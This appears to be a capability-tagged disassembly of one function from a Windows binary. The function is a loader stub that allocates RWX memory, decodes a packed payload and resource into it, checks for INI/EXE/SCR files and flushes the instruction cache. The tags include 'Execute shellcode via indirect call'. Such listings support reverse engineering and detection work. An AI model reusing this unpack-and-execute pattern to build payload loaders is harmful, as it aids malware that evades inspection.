Function at 0x408b40
Capabilities:
Allocate or change rwx memory
Check if file exists
Execute shellcode via indirect call
Extract resource via kernel32 functions
Get file attributes

Disassembly:
sub esp, 0x140
push ebx
push esi
push 0x104
push 0xd0a188
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x40
push 0x3000
push 0x14400
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
mov dword [0xd0abc0], eax
jne 0x408b80
pop esi
pop ebx
add esp, 0x140
ret
fld qword [0x4a1568]
fsin
fmul qword [0x4a1550]
call fcn.00408160
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
push 0xd0a188
mov dword [esp + 0x24], ebx
call esi
dec eax
test eax, eax
jle 0x408bbc
cmp byte [eax + 0xd0a188], 0x5c
je 0x408bbb
dec eax
test eax, eax
jg 0x408bab
jmp 0x408bbc
inc eax
lea eax, [eax + 0xd0a188]
push eax
push 0xd0a6a4
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [0xd0abc0]
add ecx, 0x4000
push ecx
call fcn.00415c80
add esp, 4
test eax, eax
je 0x408bf2
pop esi
xor eax, eax
pop ebx
add esp, 0x140
ret
push 0xd0a188
call esi
dec eax
js 0x408c0f
cmp byte [eax + 0xd0a188], 0x5c
je 0x408c0f
dec eax
mov byte [eax + 0xd0a189], 0
jns 0x408bfc
mov ecx, dword [0xd0abc0]
add ebx, 0x3ce
cmp eax, 0xffffffff
mov dword [esp + 8], ecx
mov dword [esp + 0x1c], ecx
jg 0x408c2a
xor eax, eax
mov byte [eax + 0xd0a188], 0
mov al, byte [0xd0a188]
test al, al
je 0x408c4c
push 0x4eb920
push 0xd0a188
call fcn.00414c70
add esp, 8
lea edx, [ebx + 0x3f0]
mov dword [esp + 0x14], edx
mov dword [esp + 0x18], 0
fild qword [esp + 0x14]
push ebp
push edi
fsqrt
call fcn.00408160
shl ebx, 0x1b
mov esi, 0x4d4630
mov dword [esp + 0x1c], ebx
sub esi, eax
mov dword [esp + 0x18], 2
mov edi, ebx
xor eax, eax
mov cl, al
shl cl, 3
mov byte [esp + eax + 0x2c], cl
inc eax
cmp eax, 0x1f
jl 0x408c85
mov ebp, dword [esi]
add esi, 4
mov eax, ebp
and eax, edi
neg eax
sbb eax, eax
neg eax
shr edi, 1
jne 0x408cae
mov ebp, dword [esi]
mov edi, ebx
add esi, 4
test eax, eax
je 0x408cda
push 0x1e
lea edx, [esp + 0x30]
push edx
lea eax, [esp + 0x35]
push eax
call fcn.0044e5e0
mov al, byte [esi]
mov ecx, dword [esp + 0x1c]
add esp, 0xc
mov byte [ecx], al
inc ecx
mov byte [esp + 0x2c], al
mov dword [esp + 0x10], ecx
inc esi
jmp 0x408c99
mov eax, ebp
and eax, edi
neg eax
sbb eax, eax
neg eax
shr edi, 1
jne 0x408cef
mov ebp, dword [esi]
mov edi, ebx
add esi, 4
test eax, eax
jne 0x408da1
mov eax, ebp
and eax, edi
neg eax
sbb eax, eax
neg eax
shr edi, 1
jne 0x408d0c
mov ebp, dword [esi]
mov edi, ebx
add esi, 4
mov ecx, ebp
and ecx, edi
neg ecx
sbb ecx, ecx
neg ecx
lea edx, [eax + eax]
or ecx, edx
shr edi, 1
jne 0x408d26
mov ebp, dword [esi]
mov edi, ebx
add esi, 4
mov eax, ebp
and eax, edi
neg eax
sbb eax, eax
neg eax
add ecx, ecx
or eax, ecx
shr edi, 1
jne 0x408d3f
mov ebp, dword [esi]
mov edi, ebx
add esi, 4
mov ecx, ebp
and ecx, edi
neg ecx
sbb ecx, ecx
neg ecx
lea edx, [eax + eax]
or ecx, edx
shr edi, 1
jne 0x408d59
mov ebp, dword [esi]
mov edi, ebx
add esi, 4
mov eax, ebp
and eax, edi
neg eax
sbb eax, eax
neg eax
add ecx, ecx
or eax, ecx
shr edi, 1
jne 0x408d72
mov ebp, dword [esi]
mov edi, ebx
add esi, 4
mov bl, byte [esp + eax + 0x2c]
mov ecx, dword [esp + 0x10]
push eax
lea edx, [esp + 0x30]
mov byte [ecx], bl
push edx
lea eax, [esp + 0x35]
inc ecx
push eax
mov dword [esp + 0x1c], ecx
call fcn.0044e5e0
mov byte [esp + 0x38], bl
mov ebx, dword [esp + 0x28]
add esp, 0xc
jmp 0x408c99
xor eax, eax
mov ax, word [esi]
mov ecx, eax
and ecx, 0x7f
je 0x408dde
shr eax, 7
or eax, 0xfffffe00
test ecx, ecx
jle 0x408dd6
mov dword [esp + 0x14], ecx
mov edx, dword [esp + 0x10]
mov cl, byte [eax + edx]
mov byte [edx], cl
mov ecx, dword [esp + 0x14]
inc edx
dec ecx
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], ecx
jne 0x408dbd
add esi, 2
jmp 0x408c99
mov edx, dword [0xd0abc0]
mov eax, dword [esp + 0x18]
mov esi, 0x4d4780
add edx, 0x1000
sub esi, 0x20
dec eax
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], eax
jne 0x408c81
mov ebx, dword [esp + 0x28]
mov ebp, dword [esp + 0x24]
add ebx, 0x3bd
mov dword [ebp + 0x5f], ebx
xor eax, eax
mov byte [esp + 0x4c], 0
mov ecx, 0x40
lea edi, [esp + 0x4d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov al, byte [0x8ee50c]
test al, al
je 0x408e75
push 0x5c
push 0x8ee50c
call fcn.0044f470
add esp, 8
test eax, eax
jne 0x408e5b
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x4ba428
lea eax, [esp + 0x50]
push eax
call edi
jmp 0x408e61
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x8ee50c
lea ecx, [esp + 0x50]
push ecx
call esi
jmp 0x408e9d
push 0xd0a188
lea edx, [esp + 0x50]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.RIO.INI
lea eax, [esp + 0x50]
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add bl, 0x14
mov byte [ebp + 0x3a1], bl
mov eax, dword [0xd0abd0]
cmp eax, 0x100
jge 0x408ecf
mov ecx, eax
shl ecx, 6
add ecx, eax
lea eax, [ecx*4 + 0x8d3704]
mov byte [eax], 0
add eax, 0x104
cmp eax, 0x8e3b04
jl 0x408ec0
lea edx, [esp + 0x4c]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x408f3c
push 0xd0a188
lea eax, [esp + 0x50]
push eax
call edi
push 0xd0a6a4
lea ecx, [esp + 0x50]
push ecx
call esi
lea edx, [esp + 0x4c]
push edx
call dword [sym.imp.USER32.dll_CharUpperA]
lea eax, [esp + 0x4c]
push str..EXE
push eax
call fcn.0044f530
add esp, 8
test eax, eax
jne 0x408f34
lea ecx, [esp + 0x4c]
push str..SCR
push ecx
call fcn.0044f530
add esp, 8
test eax, eax
jne 0x408f34
mov byte [esp + 0x4c], al
jmp 0x408f51
push str..INI
push eax
call edi
mov al, byte [esp + 0x4c]
test al, al
je 0x408f51
lea edx, [esp + 0x4c]
push edx
call fcn.00408280
add esp, 4
mov eax, dword [0x8d26fc]
push 3
mov ebx, 1
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov ecx, dword [0x8d26fc]
mov esi, eax
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edx, dword [0x8d26fc]
push esi
push edx
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
push eax
call fcn.00474180
mov ecx, dword [0x4c200c]
add esp, 8
cmp ecx, eax
jne 0x408fa8
mov dword [0x4c200c], ebx
jmp 0x408fb6
xor ecx, ecx
mov dword [0x4c200c], ecx
mov dword [0x4c21e4], ecx
mov edx, dword [0xd09bf4]
mov esi, dword [0x4c21f4]
mov edi, dword [0x4c21f8]
xor edx, eax
mov eax, dword [0xd0abc0]
add eax, 0x1000
mov dword [0xd09bf4], edx
mov dword [0x4d48c0], eax
call fcn.00410ab0
test eax, eax
je 0x40900a
cmp esi, dword [0x4c21f4]
jne 0x408ff8
cmp edi, dword [0x4c21f8]
je 0x409004
mov dword [0x4c21f4], esi
mov dword [0x4c21f8], edi
mov dword [0xd0abd4], ebx
mov eax, dword [0xd0abd4]
test eax, eax
mov ecx, dword [0xd0abc0]
pop edi
mov dword [0x4d4750], ecx
pop ebp
jne 0x409059
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x4eb920
push 0xd09bfc
call esi
mov dword [0xd0abd4], ebx
call fcn.00410cd0
test eax, eax
jne 0x409059
push str.Write_Registry_Error.
push 0xd09bfc
call esi
pop esi
xor eax, eax
pop ebx
add esp, 0x140
ret
mov edx, dword [0xd0abc0]
push 0x14400
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
pop esi
mov eax, ebx
pop ebx
add esp, 0x140
ret